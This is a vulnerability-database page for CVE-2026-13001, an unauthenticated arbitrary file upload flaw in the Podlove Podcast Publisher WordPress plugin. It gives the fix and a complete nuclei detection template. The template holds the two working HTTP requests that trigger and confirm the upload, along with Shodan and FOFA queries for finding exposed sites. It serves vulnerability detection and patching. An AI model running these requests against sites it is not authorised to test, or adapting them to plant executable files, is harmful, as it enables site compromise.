HexBrain

Browse / CVEs / CVE-2026-13001

CVE-2026-13001· podlove / podlove-podcasting-plugin-for-wordpress· CWE-20

Podlove Podcast Publisher <= 4.5.1 - Arbitrary File Upload

criticalseverity
9.8CVSS score
3.8%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

Podlove Podcast Publisher plugin for WordPress through 4.5.1 is vulnerable to arbitrary file uploads due to missing file type validation in the podlove_handle_cache_files function. The image cache derives the stored file extension from the path of the attacker supplied source URL, while the image validation is performed against a different file name taken from the full source URL, so a source URL whose path carries a dangerous extension is written to the cache with that extension.

Impact

An unauthenticated attacker can write files with an arbitrary extension into the web accessible cache directory, which may make remote code execution and full site compromise possible.

Fix

Update Podlove Podcast Publisher to version 4.5.2 or later.

How to confirm it

Send: GET /?podlove_image_cache_url={{hex_encode(source)}}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={{marker}} ; GET /wp-content/cache/podlove/{{substr(cid,0,2)}}/{{substr(cid,2)}}/{{marker}}_original.txt
Positive when: contains(hex_encode(body_2), "89504e470d0a1a0a") and contains(header_2, "text/plain") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2026-13001 -u <target>

The full check
id: CVE-2026-13001

info:
  name: Podlove Podcast Publisher <= 4.5.1 - Arbitrary File Upload
  author: aryu-ru
  severity: critical
  description: |
    Podlove Podcast Publisher plugin for WordPress through 4.5.1 is vulnerable to arbitrary file uploads due to missing file type validation in the podlove_handle_cache_files function. The image cache derives the stored file extension from the path of the attacker supplied source URL, while the image validation is performed against a different file name taken from the full source URL, so a source URL whose path carries a dangerous extension is written to the cache with that extension.
  impact: |
    An unauthenticated attacker can write files with an arbitrary extension into the web accessible cache directory, which may make remote code execution and full site compromise possible.
  remediation: |
    Update Podlove Podcast Publisher to version 4.5.2 or later.
  reference:
    - https://github.com/podlove/podlove-publisher/commit/5b32468601e903bae2bcacfaf36ff583d2bc9387
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/f81a3429-f378-4295-adbe-ad6f1df59701?source=cve
    - https://github.com/advisories/GHSA-7gcx-p8g5-3g9x
    - https://plugins.trac.wordpress.org/changeset/3597461/podlove-podcasting-plugin-for-wordpress
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13001
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-13001
    epss-score: 0.03757
    epss-percentile: 0.89984
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 2
    vendor: podlove
    product: podlove-podcasting-plugin-for-wordpress
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/podlove-podcasting-plugin-for-wordpress"
    fofa-query: body="/wp-content/plugins/podlove-podcasting-plugin-for-wordpress"
  tags: cve,cve2026,wordpress,wp,wp-plugin,podlove,file-upload,intrusive

variables:
  rnd: "{{randstr}}"
  marker: "{{to_lower(rnd)}}"
  source: "{{RootURL}}/{{marker}}.txt?/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/images/logo/podlove-publisher-icon-500.png"
  cid: "{{md5(concat(source,marker))}}"

http:
  - raw:
      - |
        GET /?podlove_image_cache_url={{hex_encode(source)}}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={{marker}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/cache/podlove/{{substr(cid,0,2)}}/{{substr(cid,2)}}/{{marker}}_original.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(hex_encode(body_2), "89504e470d0a1a0a")'
          - 'contains(header_2, "text/plain")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from